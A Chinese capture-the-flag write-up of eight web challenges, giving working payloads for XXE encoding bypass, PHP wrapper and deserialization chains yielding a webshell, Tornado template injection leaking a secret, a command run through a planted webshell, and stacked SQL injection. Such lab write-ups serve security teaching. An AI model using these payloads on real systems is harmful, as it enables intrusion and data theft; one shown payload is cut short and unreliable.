CTF 在线平台 WEBwp
1.web_Unagi
知识点,xxe编码绕过
这道题看到uplaod里面的example,很明显就是xxe了,提示是把/flag 读出来。

第四个页面告诉我们flag在/flag中

发现上传的是xml,于是自己构造1.xml

这是我们平常用的xxe,但是这个提示是被过滤了,构造完了之后上传发现被WAF拦截了

这里通过XXE编码转换成utf-16编码绕过
命令:iconv -f utf8 -t utf-16 1.xml>2.xml

将生成的2.xml文件传上去即可获得flag

2. facebook products manager
这道题进入页面后也是一脸懵逼,提示的是代码审计,所以先检查源码
就直接用wp里的源码了

源码主要有这么一段,这是操作数据库的
结合页面大概就理清了题目的要求,要我们干什么

里面有这么一个add页面,可以输入名字,密码和描述,简单创建一个
然后在view中输入名字和密码就能看见描述,如下图所示

现在看源码可以看到名为facebook的描述就是flag
因为有64字节的长度,所以我们名字要大于64字节,就像上面用很多的空格在最后加一个1,已这个作为用户名进行注册,成功注册用户后,我们用facebook作为用户名和刚刚我们设置的密码进行查询
然后成功得到大佬想要flag

3.warmup
这个题的前身是一个cve漏洞(phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
开局一张图,先看看页面源码信息

给出了一个 source.php 应该是后端的源码,这题代码审计了
点开题目,日常f12发现有提示,所以我们进行访问
发现是源代码,让我们进行阅读(分为两块1、主函数部分 2、外部类)


(关于mb_strpos函数在测试时发现如果没有匹配到指定符号,将返回字符串长度)
上面源码中 给出了 两个文件,还有一个 hint.php 没看,访问一下看看

所以进行目录穿越即可获得flag(ffffllllaaaagggg这里flag被写了四次所以使用4或5个../)

4.nizhuansiwei
题目源码如下
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
源码分析
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
接着看到
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
直接正则过滤掉flag关键字,提示一个useless.php 用php://filter协议来读取
结合题目构造payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码获得useless.php源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
根据源代码在本地获得序列化结果
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:
5.easv tornado
打开题目后,首先发现3个超链接

依次点开三个链接



网址里有参数filename和filehash推测这里flag应该是
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。
变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。
filename知道了,cookie_secret在哪呢?hints提示render
SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
那我们开始初步尝试:
/file?filename=/fllllllllllllag&filehash={{1}}
得到关键报错信息:

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。
但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。
当我构造的payload为:error?msg={{2*2}}的时候,回显的结果是orz。因此我们可以猜测出,此处是出现了过滤。
此时我们需要找的是cookie_secret,
此时构造payload:
http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}
得到提示信息,得到cookie_secret: 7837cb65-a58d-4897-9e1e-efdebe9b75b5

此时的payload应该就是如下通过md5的结果:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
/fllllllllllllag通过md5加密后:3bf9f6cf685a6dd8defadabfb41a03a1
**md5(cookie_secret+md5(/fllllllllllllag))**通过md5加密后的结果:77a1d0572298d9f79da44fd36511802c
此时构造payload:
/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c
回显得到最终的flag{a97dd1f2-6848-4eb9-86b1-c4f2306216c4}
6.upload
打开页面是熟悉的注册登录页面
注册再登录进去,给了个文件上传的口,上传个图片马,查看路径

一般这种都会有个源码泄露,有时候和SQL挂钩,有时候是反序列化
在dirsearch目录下打开终端输入
python3 dirsearch -u URL -e* -t 20 -x 301,403,429,404,500,501
在根目录下扫出了www.tar.gz
发现是thinkphp框架,一般核心文件在
application->web->controller
这里有四个php文件


里看到user的cookie进行了一个反序列化的操作。
首先访问大部分页面都会调用login_check的方法,先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
Register.php里析构函数里如果注册就直接调用index(),也就是跳到主页。


Profile.php里有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。
这两个魔术方法可以利用。

我是直接上传的png图片没有什么影响,如果上传其他类型的图片马会进行处理,强行把后缀名改成png。

我们的思路是,利用filename_tmp和filename把图片马解析为php文件,怎么才能解析呢,cookie不是可以反序列化嘛,可以把构造完的exp序列化编码后的传入cookie,再访问png文件就可以变成php文件了,再用蚁剑连。具体怎么构造呢,可以进入下面的逻辑,里面既有filename、filename_tmp,还能利用img

但是需要绕过上面两个判断,只要不赋值,不上传变量就行。

利用_get _call:except里['index'=>'img'](数组)实现一调用index变量就转到img变量,要利用img所在的逻辑只要ext存在就行,因为下面会调用update_img(),所以让img变量等于upload_img()函数,触发_call,正好是这三个逻辑所在的函数,成功顺理成章地调用了。


那如何调用index变量,让registed=false也就是registed不存在就可以进入析构函数所在的逻辑。

到这里基本就可以构造exp了


运行结果
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtiOjE7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
base64解码看看
O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";i:0;s:12:"filename_tmp";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png";s:8:"filename";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";s:10:"upload_img";s:6:"except";a:1:{s:5:"index";s:3:"img";}}s:8:"registed";b:0;}
把user的cookie值改成运行出来的编码后的结果,根目录刷新几次,再访问/upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php就可以发现已经被解析成了php文件,再用蚁剑连接即可。
7.高明的黑客
题目是先下载给出代码

3000多个文件,提示了是黑客,然后结合上面的代码,可以看到里面有GET,POST,exec,eval,assert…但我们不知道哪个是一句话马,所以直接脚本来一个一个的试
用脚本暴力跑完所有文件的所有参数


req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
最后回到题目网站,最后使用payload
xk0SzyKwfzw.php?Efa5BVG=cat /flag

8.随便注
(1)因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码
再通过构造payload得
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

(2)测试 1' or 1=1 # ,初步判定存在SQL注入。

再测试字段数,到3时报错,说明字段数为2.

接着尝试union注入,回显了过滤的关键字。

然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。
先通过show databases爆出数据库。
0'; show databases; #

然后用 show tables 尝试爆表

0'; show tables

可以看到这里有两个表,我们先尝试爆words表的内容。
1'; show columns from words; #

然后报表 1919810931114514 的内容。
这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
0'; show columns from `1919810931114514 `; #

可以发现爆出来了flag字段


浙公网安备 33010602011771号